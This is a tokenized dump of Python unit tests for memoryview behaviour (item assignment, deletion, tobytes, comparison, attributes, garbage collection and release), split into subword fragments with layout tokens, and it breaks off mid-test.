"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Not", "Impl", "ement", "ed", "Error_", ",_", "setitem", "_", ",_", "slices_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tr", "ying", " ", "to", " ", "resiz", "e", " ", "the", " ", "memory", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "exc_", "=_", "Value", "Error_", "if_", "m_", "._", "format_", "==_", "'", "c", "'_", "else_", "Type", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exc_", ",_", "setitem", "_", ",_", "0_", ",_", "b", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exc_", ",_", "setitem", "_", ",_", "0_", ",_", "b", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "setitem", "_", ",_", "slice_", "(_", "1_", ",_", "1_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "setitem", "_", ",_", "slice_", "(_", "0_", ",_", "2_", ")_", ",_", "b", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", ",_", "old", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "deli", "tem_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "m_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "m_", "[_", "1_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tob", "ytes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "m_", "._", "tob", "ytes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "calls", " ", "self", ".", "getitem", "\\u", "type", "()", " ", "on", " ", "each", " ", "separate", " ", "byte", " ", "of", " ", "b", "\"", "abcde", "f", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "b", "\"\"_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "getitem", "\\u", "type_", "(_", "bytes_", "(_", "[_", "c_", "]_", ")_", ")_", "for_", "c_", "in_", "b", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "b_", ",_", "bytes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tolist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "m_", "._", "tolist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "l_", ",_", "list_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "compare_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "memory", "views", " ", "can", " ", "compare", " ", "for", " ", "equality", " ", "with", " ", "other", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hav", "ing", " ", "the", " ", "buffer", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tp", "\\u", "comp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "m_", "==_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "m_", "!=_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "f", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "m_", "==_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "!=_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "m_", "==_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "1", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "!=_", "tp", "\\u", "comp_", "(_", "b", "\"", "abcde", "1", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "==_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "==_", "m_", "[_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "[_", "0_", ":_", "6_", "]_", "==_", "m_", "[_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "m_", "[_", "0_", ":_", "5_", "]_", "==_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compari", "son", " ", "with", " ", "object", "s", " ", "whi", "ch", " ", "don", "'", "t", " ", "support", " ", "the", " ", "buffer", " ", "API_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "m_", "==_", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "m_", "!=_", "\"", "abcde", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "\"", "abcde", "f", "\"_", "==_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "abcde", "f", "\"_", "!=_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Uno", "rder", "ed", " ", "comparisons", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "c_", "in_", "(_", "m_", ",_", "b", "\"", "abcde", "f", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "m_", "<_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "c_", "<=_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "m_", ">=_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "c_", ">_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "attribute", "s", "\\u", "with", "\\u", "type_", "(_", "self_", ",_", "tp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "format_", ",_", "self_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "itemsize_", ",_", "self_", "._", "itemsize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "ndim_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "shape_", ",_", "(_", "6_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "m_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "strides_", ",_", "(_", "self_", "._", "itemsize_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "subo", "ffset", "s_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "attribute", "s", "\\u", "readonly_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "ro", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "=_", "self_", "._", "check", "\\u", "attribute", "s", "\\u", "with", "\\u", "type_", "(_", "self_", "._", "ro", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "readonly_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "attribute", "s", "\\u", "writable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "rw", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "=_", "self_", "._", "check", "\\u", "attribute", "s", "\\u", "with", "\\u", "type_", "(_", "self_", "._", "rw", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "readonly_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "getb", "uffer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "Py", "Object", "\\u", "Get", "Buffer", "()", " ", "on", " ", "a", " ", "memory", "view", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "view", "refco", "unt_", "=_", "sys_", "._", "getre", "fco", "unt_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "str_", "(_", "m_", ",_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "contents_", "(_", "tp_", ",_", "b_", ",_", "s_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "m_", ")_", ",_", "old", "view", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sys_", "._", "getre", "fco", "unt_", "(_", "b_", ")_", ",_", "old", "refco", "unt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "gc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "tp_", ",_", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "tp", " ", "is", " ", "a", " ", "factor", "y", " ", "rat", "her", " ", "than", " ", "a", " ", "plain", " ", "type", ",", " ", "skip_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "My", "View_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "m_", "=_", "memory", "view_", "(_", "base_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "My", "Source_", "(_", "tp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "My", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "reference", " ", "cycle", " ", "through", " ", "a", " ", "memory", "view", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "exercise", "s", " ", "mbu", "f", "\\u", "clear", "()", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "My", "Source_", "(_", "tp_", "(_", "b", "'", "abc", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o_", "=_", "My", "Object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "._", "m_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "._", "o_", "=_", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wr_", "=_", "weakref_", "._", "ref_", "(_", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "m_", "=_", "o_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "cycle", " ", "must", " ", "be", " ", "broken", "_", "\\u\\u\\uNL\\u\\u\\u_", "gc_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "wr_", "(_", ")_", "is_", "None_", ",_", "wr_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "exercise", "s", " ", "memory", "\\u", "clear", "()", "._", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "My", "View_", "(_", "tp_", "(_", "b", "'", "abc", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o_", "=_", "My", "Object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "x_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "o_", "=_", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wr_", "=_", "weakref_", "._", "ref_", "(_", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "o_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "cycle", " ", "must", " ", "be", " ", "broken", "_", "\\u\\u\\uNL\\u\\u\\u_", "gc_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "wr_", "(_", ")_", "is_", "None_", ",_", "wr_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "released", "_", "(_", "self_", ",_", "m_", ",_", "tp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check_", "=_", "self_", "._", "assert", "Rai", "ses", "Regex_", "(_", "Value", "Error_", ",_", "\"", "released", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "bytes_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "tob", "ytes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "tolist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "[_", "0_", "]_", "=_", "b", "'", "x", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "len_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "itemsize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "ndim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "readonly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "m_", "._", "strides_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "check_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "str", "()", " ", "and", " ", "repr", "()", " ", "still", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "\"", "released", " ", "memory", "\"_", ",_", "str_", "(_", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "\"", "released", " ", "memory", "\"_", ",_", "repr_", "(_", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "m_", ",_", "memory", "view_", "(_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "m_", ",_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "contextmanager_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "m_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Is_", "(_", "cm_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "released", "_", "(_", "m_", ",_", "tp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Can", " ", "release", " ", "explicit", "ly", " ", "insi", "de", " ", "the", " ", "context", " ", "manager_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "release_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tp_", "in_", "self_", "._", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "tp_", "(_", "self_", "._", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "self_", "._", "\\u", "view_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "released", "_", "(_", "m_", ",_", "tp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Can", " ", "be", " ", "call", "ed", " ", "a", " ", "second", " ", "time", " ", "(", "it", "'", "s", " ", "a", " ", "no", "-", "op", ")_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "released", "_", "(_", "m_", ",_", "tp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Abstract", "Memo", "ry", "Tests_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "writ", "able", "\\u", "readonly_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " 